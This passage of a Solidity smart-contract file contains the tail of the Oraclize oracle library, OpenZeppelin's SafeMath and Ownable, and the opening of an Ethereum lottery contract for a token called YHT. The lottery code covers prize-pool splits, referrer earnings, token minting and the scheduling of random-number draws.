bytes[](1); dynargs[0] = args[0]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[2] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[2] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = args[0]; dynargs[1] = args[1]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[3] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[3] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](3); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[4] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[4] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](4); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[5] args) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs); } function oraclize_query(uint timestamp, string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(timestamp, datasource, dynargs, gaslimit); } function oraclize_query(string datasource, bytes[5] args, uint gaslimit) oraclizeAPI internal returns (bytes32 id) { bytes[] memory dynargs = new bytes[](5); dynargs[0] = args[0]; dynargs[1] = args[1]; dynargs[2] = args[2]; dynargs[3] = args[3]; dynargs[4] = args[4]; return oraclize_query(datasource, dynargs, gaslimit); } function oraclize_cbAddress() oraclizeAPI internal returns (address){ return oraclize.cbAddress(); } function oraclize_setProof(byte proofP) oraclizeAPI internal { return oraclize.setProofType(proofP); } function oraclize_setCustomGasPrice(uint gasPrice) oraclizeAPI internal { return oraclize.setCustomGasPrice(gasPrice); } function oraclize_randomDS_getSessionPubKeyHash() oraclizeAPI internal returns (bytes32){ return oraclize.randomDS_getSessionPubKeyHash(); } function getCodeSize(address _addr) constant internal returns(uint _size) { assembly { _size := extcodesize(_addr) } } function parseAddr(string _a) internal pure returns (address){ bytes memory tmp = bytes(_a); uint160 iaddr = 0; uint160 b1; uint160 b2; for (uint i=2; i<2+2*20; i+=2){ iaddr *= 256; b1 = uint160(tmp[i]); b2 = uint160(tmp[i+1]); if ((b1 >= 97)&&(b1 <= 102)) b1 -= 87; else if ((b1 >= 65)&&(b1 <= 70)) b1 -= 55; else if ((b1 >= 48)&&(b1 <= 57)) b1 -= 48; if ((b2 >= 97)&&(b2 <= 102)) b2 -= 87; else if ((b2 >= 65)&&(b2 <= 70)) b2 -= 55; else if ((b2 >= 48)&&(b2 <= 57)) b2 -= 48; iaddr += (b1*16+b2); } return address(iaddr); } function strCompare(string _a, string _b) internal pure returns (int) { bytes memory a = bytes(_a); bytes memory b = bytes(_b); uint minLength = a.length; if (b.length < minLength) minLength = b.length; for (uint i = 0; i < minLength; i ++) if (a[i] < b[i]) return -1; else if (a[i] > b[i]) return 1; if (a.length < b.length) return -1; else if (a.length > b.length) return 1; else return 0; } function indexOf(string _haystack, string _needle) internal pure returns (int) { bytes memory h = bytes(_haystack); bytes memory n = bytes(_needle); if(h.length < 1 || n.length < 1 || (n.length > h.length)) return -1; else if(h.length > (2**128 -1)) return -1; else { uint subindex = 0; for (uint i = 0; i < h.length; i ++) { if (h[i] == n[0]) { subindex = 1; while(subindex < n.length && (i + subindex) < h.length && h[i + subindex] == n[subindex]) { subindex++; } if(subindex == n.length) return int(i); } } return -1; } } function strConcat(string _a, string _b, string _c, string _d, string _e) internal pure returns (string) { bytes memory _ba = bytes(_a); bytes memory _bb = bytes(_b); bytes memory _bc = bytes(_c); bytes memory _bd = bytes(_d); bytes memory _be = bytes(_e); string memory abcde = new string(_ba.length + _bb.length + _bc.length + _bd.length + _be.length); bytes memory babcde = bytes(abcde); uint k = 0; for (uint i = 0; i < _ba.length; i++) babcde[k++] = _ba[i]; for (i = 0; i < _bb.length; i++) babcde[k++] = _bb[i]; for (i = 0; i < _bc.length; i++) babcde[k++] = _bc[i]; for (i = 0; i < _bd.length; i++) babcde[k++] = _bd[i]; for (i = 0; i < _be.length; i++) babcde[k++] = _be[i]; return string(babcde); } function strConcat(string _a, string _b, string _c, string _d) internal pure returns (string) { return strConcat(_a, _b, _c, _d, ""); } function strConcat(string _a, string _b, string _c) internal pure returns (string) { return strConcat(_a, _b, _c, "", ""); } function strConcat(string _a, string _b) internal pure returns (string) { return strConcat(_a, _b, "", "", ""); } // parseInt function parseInt(string _a) internal pure returns (uint) { return parseInt(_a, 0); } // parseInt(parseFloat*10^_b) function parseInt(string _a, uint _b) internal pure returns (uint) { bytes memory bresult = bytes(_a); uint mint = 0; bool decimals = false; for (uint i=0; i<bresult.length; i++){ if ((bresult[i] >= 48)&&(bresult[i] <= 57)){ if (decimals){ if (_b == 0) break; else _b--; } mint *= 10; mint += uint(bresult[i]) - 48; } else if (bresult[i] == 46) decimals = true; } if (_b > 0) mint *= 10**_b; return mint; } function uint2str(uint i) internal pure returns (string){ if (i == 0) return "0"; uint j = i; uint len; while (j != 0){ len++; j /= 10; } bytes memory bstr = new bytes(len); uint k = len - 1; while (i != 0){ bstr[k--] = byte(48 + i % 10); i /= 10; } return string(bstr); } using CBOR for Buffer.buffer; function stra2cbor(string[] arr) internal pure returns (bytes) { safeMemoryCleaner(); Buffer.buffer memory buf; Buffer.init(buf, 1024); buf.startArray(); for (uint i = 0; i < arr.length; i++) { buf.encodeString(arr[i]); } buf.endSequence(); return buf.buf; } function ba2cbor(bytes[] arr) internal pure returns (bytes) { safeMemoryCleaner(); Buffer.buffer memory buf; Buffer.init(buf, 1024); buf.startArray(); for (uint i = 0; i < arr.length; i++) { buf.encodeBytes(arr[i]); } buf.endSequence(); return buf.buf; } string oraclize_network_name; function oraclize_setNetworkName(string _network_name) internal { oraclize_network_name = _network_name; } function oraclize_getNetworkName() internal view returns (string) { return oraclize_network_name; } function oraclize_newRandomDSQuery(uint _delay, uint _nbytes, uint _customGasLimit) internal returns (bytes32){ require((_nbytes > 0) && (_nbytes <= 32)); // Convert from seconds to ledger timer ticks _delay *= 10; bytes memory nbytes = new bytes(1); nbytes[0] = byte(_nbytes); bytes memory unonce = new bytes(32); bytes memory sessionKeyHash = new bytes(32); bytes32 sessionKeyHash_bytes32 = oraclize_randomDS_getSessionPubKeyHash(); assembly { mstore(unonce, 0x20) // the following variables can be relaxed // check relaxed random contract under ethereum-examples repo // for an idea on how to override and replace comit hash vars mstore(add(unonce, 0x20), xor(blockhash(sub(number, 1)), xor(coinbase, timestamp))) mstore(sessionKeyHash, 0x20) mstore(add(sessionKeyHash, 0x20), sessionKeyHash_bytes32) } bytes memory delay = new bytes(32); assembly { mstore(add(delay, 0x20), _delay) } bytes memory delay_bytes8 = new bytes(8); copyBytes(delay, 24, 8, delay_bytes8, 0); bytes[4] memory args = [unonce, nbytes, sessionKeyHash, delay]; bytes32 queryId = oraclize_query("random", args, _customGasLimit); bytes memory delay_bytes8_left = new bytes(8); assembly { let x := mload(add(delay_bytes8, 0x20)) mstore8(add(delay_bytes8_left, 0x27), div(x, 0x100000000000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x26), div(x, 0x1000000000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x25), div(x, 0x10000000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x24), div(x, 0x100000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x23), div(x, 0x1000000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x22), div(x, 0x10000000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x21), div(x, 0x100000000000000000000000000000000000000000000000000)) mstore8(add(delay_bytes8_left, 0x20), div(x, 0x1000000000000000000000000000000000000000000000000)) } oraclize_randomDS_setCommitment(queryId, keccak256(delay_bytes8_left, args[1], sha256(args[0]), args[2])); return queryId; } function oraclize_randomDS_setCommitment(bytes32 queryId, bytes32 commitment) internal { oraclize_randomDS_args[queryId] = commitment; } mapping(bytes32=>bytes32) oraclize_randomDS_args; mapping(bytes32=>bool) oraclize_randomDS_sessionKeysHashVerified; function verifySig(bytes32 tosignh, bytes dersig, bytes pubkey) internal returns (bool){ bool sigok; address signer; bytes32 sigr; bytes32 sigs; bytes memory sigr_ = new bytes(32); uint offset = 4+(uint(dersig[3]) - 0x20); sigr_ = copyBytes(dersig, offset, 32, sigr_, 0); bytes memory sigs_ = new bytes(32); offset += 32 + 2; sigs_ = copyBytes(dersig, offset+(uint(dersig[offset-1]) - 0x20), 32, sigs_, 0); assembly { sigr := mload(add(sigr_, 32)) sigs := mload(add(sigs_, 32)) } (sigok, signer) = safer_ecrecover(tosignh, 27, sigr, sigs); if (address(keccak256(pubkey)) == signer) return true; else { (sigok, signer) = safer_ecrecover(tosignh, 28, sigr, sigs); return (address(keccak256(pubkey)) == signer); } } function oraclize_randomDS_proofVerify__sessionKeyValidity(bytes proof, uint sig2offset) internal returns (bool) { bool sigok; // Step 6: verify the attestation signature, APPKEY1 must sign the sessionKey from the correct ledger app (CODEHASH) bytes memory sig2 = new bytes(uint(proof[sig2offset+1])+2); copyBytes(proof, sig2offset, sig2.length, sig2, 0); bytes memory appkey1_pubkey = new bytes(64); copyBytes(proof, 3+1, 64, appkey1_pubkey, 0); bytes memory tosign2 = new bytes(1+65+32); tosign2[0] = byte(1); //role copyBytes(proof, sig2offset-65, 65, tosign2, 1); bytes memory CODEHASH = hex"fd94fa71bc0ba10d39d464d0d8f465efeef0a2764e3887fcc9df41ded20f505c"; copyBytes(CODEHASH, 0, 32, tosign2, 1+65); sigok = verifySig(sha256(tosign2), sig2, appkey1_pubkey); if (sigok == false) return false; // Step 7: verify the APPKEY1 provenance (must be signed by Ledger) bytes memory LEDGERKEY = hex"7fb956469c5c9b89840d55b43537e66a98dd4811ea0a27224272c2e5622911e8537a2f8e86a46baec82864e98dd01e9ccc2f8bc5dfc9cbe5a91a290498dd96e4"; bytes memory tosign3 = new bytes(1+65); tosign3[0] = 0xFE; copyBytes(proof, 3, 65, tosign3, 1); bytes memory sig3 = new bytes(uint(proof[3+65+1])+2); copyBytes(proof, 3+65, sig3.length, sig3, 0); sigok = verifySig(sha256(tosign3), sig3, LEDGERKEY); return sigok; } modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string _result, bytes _proof) { // Step 1: the prefix has to match 'LP\x01' (Ledger Proof version 1) require((_proof[0] == "L") && (_proof[1] == "P") && (_proof[2] == 1)); bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName()); require(proofVerified); _; } function oraclize_randomDS_proofVerify__returnCode(bytes32 _queryId, string _result, bytes _proof) internal returns (uint8){ // Step 1: the prefix has to match 'LP\x01' (Ledger Proof version 1) if ((_proof[0] != "L")||(_proof[1] != "P")||(_proof[2] != 1)) return 1; bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName()); if (proofVerified == false) return 2; return 0; } function matchBytes32Prefix(bytes32 content, bytes prefix, uint n_random_bytes) internal pure returns (bool){ bool match_ = true; require(prefix.length == n_random_bytes); for (uint256 i=0; i< n_random_bytes; i++) { if (content[i] != prefix[i]) match_ = false; } return match_; } function oraclize_randomDS_proofVerify__main(bytes proof, bytes32 queryId, bytes result, string context_name) internal returns (bool){ // Step 2: the unique keyhash has to match with the sha256 of (context name + queryId) uint ledgerProofLength = 3+65+(uint(proof[3+65+1])+2)+32; bytes memory keyhash = new bytes(32); copyBytes(proof, ledgerProofLength, 32, keyhash, 0); if (!(keccak256(keyhash) == keccak256(sha256(context_name, queryId)))) return false; bytes memory sig1 = new bytes(uint(proof[ledgerProofLength+(32+8+1+32)+1])+2); copyBytes(proof, ledgerProofLength+(32+8+1+32), sig1.length, sig1, 0); // Step 3: we assume sig1 is valid (it will be verified during step 5) and we verify if 'result' is the prefix of sha256(sig1) if (!matchBytes32Prefix(sha256(sig1), result, uint(proof[ledgerProofLength+32+8]))) return false; // Step 4: commitment match verification, keccak256(delay, nbytes, unonce, sessionKeyHash) == commitment in storage. // This is to verify that the computed args match with the ones specified in the query. bytes memory commitmentSlice1 = new bytes(8+1+32); copyBytes(proof, ledgerProofLength+32, 8+1+32, commitmentSlice1, 0); bytes memory sessionPubkey = new bytes(64); uint sig2offset = ledgerProofLength+32+(8+1+32)+sig1.length+65; copyBytes(proof, sig2offset-64, 64, sessionPubkey, 0); bytes32 sessionPubkeyHash = sha256(sessionPubkey); if (oraclize_randomDS_args[queryId] == keccak256(commitmentSlice1, sessionPubkeyHash)){ //unonce, nbytes and sessionKeyHash match delete oraclize_randomDS_args[queryId]; } else return false; // Step 5: validity verification for sig1 (keyhash and args signed with the sessionKey) bytes memory tosign1 = new bytes(32+8+1+32); copyBytes(proof, ledgerProofLength, 32+8+1+32, tosign1, 0); if (!verifySig(sha256(tosign1), sig1, sessionPubkey)) return false; // verify if sessionPubkeyHash was verified already, if not.. let's do it! if (oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] == false){ oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash] = oraclize_randomDS_proofVerify__sessionKeyValidity(proof, sig2offset); } return oraclize_randomDS_sessionKeysHashVerified[sessionPubkeyHash]; } // the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license function copyBytes(bytes from, uint fromOffset, uint length, bytes to, uint toOffset) internal pure returns (bytes) { uint minLength = length + toOffset; // Buffer too small require(to.length >= minLength); // Should be a better way? // NOTE: the offset 32 is added to skip the `size` field of both bytes variables uint i = 32 + fromOffset; uint j = 32 + toOffset; while (i < (32 + fromOffset + length)) { assembly { let tmp := mload(add(from, i)) mstore(add(to, j), tmp) } i += 32; j += 32; } return to; } // the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license // Duplicate Solidity's ecrecover, but catching the CALL return value function safer_ecrecover(bytes32 hash, uint8 v, bytes32 r, bytes32 s) internal returns (bool, address) { // We do our own memory management here. Solidity uses memory offset // 0x40 to store the current end of memory. We write past it (as // writes are memory extensions), but don't update the offset so // Solidity will reuse it. The memory used here is only needed for // this context. // FIXME: inline assembly can't access return values bool ret; address addr; assembly { let size := mload(0x40) mstore(size, hash) mstore(add(size, 32), v) mstore(add(size, 64), r) mstore(add(size, 96), s) // NOTE: we can reuse the request memory because we deal with // the return code ret := call(3000, 1, 0, size, 128, size, 32) addr := mload(size) } return (ret, addr); } // the following function has been written by Alex Beregszaszi (@axic), use it under the terms of the MIT license function ecrecovery(bytes32 hash, bytes sig) internal returns (bool, address) { bytes32 r; bytes32 s; uint8 v; if (sig.length != 65) return (false, 0); // The signature format is a compact form of: // {bytes32 r}{bytes32 s}{uint8 v} // Compact means, uint8 is not padded to 32 bytes. assembly { r := mload(add(sig, 32)) s := mload(add(sig, 64)) // Here we are loading the last 32 bytes. We exploit the fact that // 'mload' will pad with zeroes if we overread. // There is no 'mload8' to do this, but that would be nicer. v := byte(0, mload(add(sig, 96))) // Alternative solution: // 'byte' is not working due to the Solidity parser, so lets // use the second best option, 'and' // v := and(mload(add(sig, 65)), 255) } // albeit non-transactional signatures are not specified by the YP, one would expect it // to match the YP range of [27, 28] // // geth uses [0, 1] and some clients have followed. This might change, see: // https://github.com/ethereum/go-ethereum/issues/2053 if (v < 27) v += 27; if (v != 27 && v != 28) return (false, 0); return safer_ecrecover(hash, v, r, s); } function safeMemoryCleaner() internal pure { assembly { let fmem := mload(0x40) codecopy(fmem, codesize, sub(msize, fmem)) } } } // </ORACLIZE_API> //============================================================================== // Begin: This part comes from openzeppelin-solidity // https://github.com/OpenZeppelin/openzeppelin-solidity //============================================================================== /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } //============================================================================== // End: This part comes from openzeppelin-solidity //============================================================================== /** * @dev YHT interface, for mint and transfer earnings. */ contract YHTInterface { function mintToFounder(address to, uint256 amount, uint256 normalAmount) external; function mintToNormal(address to, uint256 amount, uint256 bonusRoundId) external; function transferExtraEarnings(address winner) external payable; function transferBonusEarnings() external payable returns(uint256); function withdrawForBet(address addr, uint256 value) external; } /** * The Lottery contract for Printing YHT */ contract Lottery is usingOraclize, Ownable { using SafeMath for uint256; /** * @dev betting information for everyone */ struct Bet { uint256 cycleCount; //number of cycles during a bet, if it not equls Lottery.cycleCount the amount is zero uint256 amount; //betting amount } struct BetCycle { uint256 amount; uint256 bonusRoundId; } struct Referrer { uint256 id; uint256 bindReferrerId; uint256 bindCycleCount; uint256 beBindCount; uint256 earnings; } //settings begin // 41.77% will assigned to winner // 39% will assigned to the people who hold YHT // 18% will put in the next prize pool // 1.23% is fee uint256 constant private kTenThousand = 10000; // all rate is fraction of ten thousand uint256 constant private kRewardRate = 4177; // the winner will get of the prize pool uint256 constant private kBonusRate = 3900; // assigned to peoples who hold YHT uint256 constant private kNextInitRate = 1800; // put in the next prize pool uint256 constant private kFeeRate = 123; // fee 123 uint256 constant private kReferrerRate = 700; // when bet, the referrer will get 7% of bet amount uint256 constant private kReferrerEarningsCycleCount = 15; // promotional earnings only for the specified cycle uint8[] private kOpenRewardWeekdays = [ 2, 4, 6 ]; // every Tuesday, Thursday, Saturday open reward uint256 constant private kRandomBeforeTime = 3 minutes; // before time of call Oraclize query function, at this point in time to compute the gas cost uint256 constant private kQueryRandomMaxTryCount = 3; // max fail count of query Oraclize random function, if happen postpone to the next cycle uint256 constant private kCallbackTimeout = 90 minutes; // oraclize callback timeout uint256 constant private kGwei = (10 ** 9); // 1 Gwei uint256 constant private kDefaultGasPrice = 3 * kGwei; // 3 Gwei uint256 constant private kMaxGasPrice = 17 * kGwei; // 17 Gwei /** * @dev YHT amount of output per cycle, distribute by betting proportion */ uint256 constant private kMintTotalPerCycle = 271828182845904523536028; uint256 constant private kMintHalveCycleCount = 314; // halved production per 314 cycles uint256 constant private kMintTotalMin = 100 * (10 ** 18); // production reduced to 100, no longer output uint256 constant private kMintFounderAdditionalRate = 382; // extra 3.82% for each cycle to the founder team uint256 constant private kQueryUrlCallbackGas = 150000; // query url callback gas limits uint256 constant private kQueryRandomCallbackBaseFirstGas = 550000; //query random callback base first gas limits uint256 constant private kQueryRandomCallbackBaseGas = 450000; // query random callback base gas limits uint256 constant private kQueryRandomCallbackPerGas = 918; // query random callback per people gas limits //settings end YHTInterface public YHT; uint256 public cycleCount_; // current number of cycles uint256 public nextOpenRewardTime_; // next open reward time bytes32 private queryId_; // oraclize query id uint256 private queryCallbackGasPrice_ = kDefaultGasPrice; // gas price for oraclize random query callback, init is 3Gwei uint256 private queryTryCount_; // count of query Oraclize function uint256 public queryRandomTryTime_; // query random time uint256 public initAmount_; // prize pool initial amount, from 15% of previous cycle uint256 public betAmount_; // total amount in current cycle, initialization value is 1, so betAmount_ - 1 is actual Amount uint256 public betCount_; // bet count of current cycle uint256 public betTotalGasprice_; // bet total gas price, used to guss gasprice mapping(address => Bet) public bets_; // betting information of everyone mapping(uint256 => BetCycle) public betCycles_; // bet cycle information mapping(uint256 => address) public betAddrs_; // all the bet address in current cycle uint256 public betAddrsCount_; // the bet address count in current cycle mapping(address => Referrer) public referrers_; // referrer informations mapping(uint256 => address) public referrerIdToAddrs_; // id => address uint256 public nextReferrerId_; // referrer id counter uint256 public referrerEarnings_; // referrer earnings in current cycle event GasPriceUpdate(uint256 gasPrice); event RandomQuery(uint delay, uint N, uint callbackGas, uint256 gasPrice); event RandomSuccess(bytes data, uint256 tryCount); event RandomVerifyFailed(bytes data, uint256 tryCount); event NewBet(address indexed playerAddress, uint256 value, uint256 betValue, uint256 betAmount, uint256 betAddrsCount, uint256 betCount); event CycleNew(uint256 cycleCount, uint256 delay, uint256 nextOpenRewardTime, uint256 initAmount); event Divided(uint256 cycleCount, uint256 betAmount, uint256 initAmount, uint256 win, uint256 next, uint256 earnings); event LuckyMan(uint256 cycleCount, uint256 openRewardTime, address playerAddress, uint256 betValue, uint256 reward); event Withdraw(address addr, uint256 value); event ObtainReferrerEarnings(address indexed referrerAdress, uint256 beBindCount, address playerAddress, uint256 earnings); constructor() public { } /** * @dev make sure only call from Oraclize */ modifier onlyOraclize { require(msg.sender == oraclize_cbAddress()); _; } /** * @dev make sure no one can interact with contract until it has been activated. */ modifier isActivated() { require(YHT != address(0)); _; } /** * @dev prevents contracts from interacting */ modifier isHuman() { address addr = msg.sender; uint256 codeLength; assembly {codeLength := extcodesize(addr)} require(codeLength == 0, "sorry humans only"); _; } /** * @dev check bet value min and max */ modifier isBetValueLimits(uint256 value) { require(value >= 1672621637, "too small, not a valid currency"); require(value < 250000 ether, "so stupid, one thousand SB"); _; } /** * @dev check sender is YHT contract */ modifier isYHT { require(msg.sender == address(YHT)); _; } /** * @dev activate contract, this is a one time. pay some for Oraclize query and code execution */ function activate(address yht) onlyOwner public payable { // can only be ran once require(YHT == address(0)); require(msg.value >= 10 finney); // activate the contract YHT = YHTInterface(yht); // Set the proof of oraclize in order to make secure random number generations oraclize_setProof(proofType_Ledger); // set oraclize call back gas price oraclize_setCustomGasPrice(queryCallbackGasPrice_); // set first cycle cycleCount_ = 1; /** * use 1 as the initialization value, avoid cost or recycle gas in the query callback */ initAmount_ = 1; betAmount_ = 1; betAddrsCount_ = 1; betCount_ = 1; betTotalGasprice_ = 1; queryTryCount_ = 1; queryRandomTryTime_ = 1; referrerEarnings_ = 1; } /** * @dev check query status, if query callback is not triggered or too later, reactivate */ function check() private { uint256 nextOpenRewardTime = nextOpenRewardTime_; if (nextOpenRewardTime == 0) { update(); } else if (nextOpenRewardTime < now) { if (now - nextOpenRewardTime > kCallbackTimeout && now - queryRandomTryTime_ > kCallbackTimeout) { setGasPriceUseTx(); checkQueryRandom(); } } } /** * @dev get next reward time * @param openRewardWeekdays the weekday to be open reward, from small to big, the sunday is 0 * @param currentTimestamp current time, use it to determine the next lottery time point */ function getNextOpenRewardTime(uint8[] openRewardWeekdays, uint256 currentTimestamp) pure public returns(uint) { uint8 currentWeekday = uint8((currentTimestamp / 1 days + 4) % 7); uint256 morningTimestamp = (currentTimestamp - currentTimestamp % 1 days); // get number of days offset from next open reward time uint256 nextDay = 0; for (uint256 i = 0; i < openRewardWeekdays.length; ++i) { uint8 openWeekday = openRewardWeekdays[i]; if (openWeekday > currentWeekday) { nextDay = openWeekday - currentWeekday; break; } } // not found offset day if (nextDay == 0) { uint8 firstOpenWeekday = openRewardWeekdays[0]; if (currentWeekday == 0) { // current time is sunday assert(firstOpenWeekday == 0); nextDay = 7; } else { uint8 remainDays = 7 - currentWeekday; // the rest of the week nextDay = remainDays + firstOpenWeekday; // add the first open time } } assert(nextDay >= 1 && nextDay <= 7); uint256 nextOpenTimestamp = morningTimestamp + nextDay * 1 days; assert(nextOpenTimestamp > currentTimestamp); return nextOpenTimestamp; } /** * @dev register query callback for cycle */ function update() private { queryTryCount_ = 1; uint currentTime = now; // not sure if the previous trigger was made in advance, so add a protection if (currentTime < nextOpenRewardTime_) { currentTime = nextOpenRewardTime_; } nextOpenRewardTime_ = getNextOpenRewardTime(kOpenRewardWeekdays, currentTime); uint256 delay = nextOpenRewardTime_ - now; // before time of call query random function, at this point in time to compute the gas cost if (delay > kRandomBeforeTime) { delay -= kRandomBeforeTime; } queryId_ = oraclize_query(delay, "URL", "", kQueryUrlCallbackGas); emit CycleNew(cycleCount_, delay, nextOpenRewardTime_, initAmount_); } /** * @dev if has bet do query random, else to next update */ function checkQueryRandom() private { if (betAmount_ > 1) { queryRandom(); } else { update(); } } /** * @dev set oraclize gas price */ function setQueryCallbackGasPrice(uint256 gasPrice) private { queryCallbackGasPrice_ = gasPrice; oraclize_setCustomGasPrice(gasPrice); // set oraclize call back gas price emit GasPriceUpdate(gasPrice); } /** * @dev when timeout too long, use tx.gasprice as oraclize callback gas price */ function setGasPriceUseTx() private { uint256 gasPrice = tx.gasprice; if (gasPrice < kDefaultGasPrice) { gasPrice = kDefaultGasPrice; } else if (gasPrice > kMaxGasPrice) { gasPrice = kMaxGasPrice; } setQueryCallbackGasPrice(gasPrice); } /** * @dev set gas price and try query random */ function updateGasPrice() private { if (betCount_ > 1) { uint256 gasPrice = (betTotalGasprice_ - 1) / (betCount_ - 1); assert(gasPrice > 0); setQueryCallbackGasPrice(gasPrice); } } /** * @dev Oraclize callback */ function __callback(bytes32 callbackId, string result, bytes proof) onlyOraclize public { require(callbackId == queryId_, "callbackId is error"); if (queryTryCount_ == 1) { updateGasPrice(); checkQueryRandom(); } else { queryRandomCallback(callbackId, result, proof); } } /** * @dev get the query random callback gas cost */ function getQueryRandomCallbackGas() view private returns(uint256) { uint256 base = cycleCount_ == 1 ? kQueryRandomCallbackBaseFirstGas : kQueryRandomCallbackBaseGas; return base + betAddrsCount_ * kQueryRandomCallbackPerGas; } /** * @dev 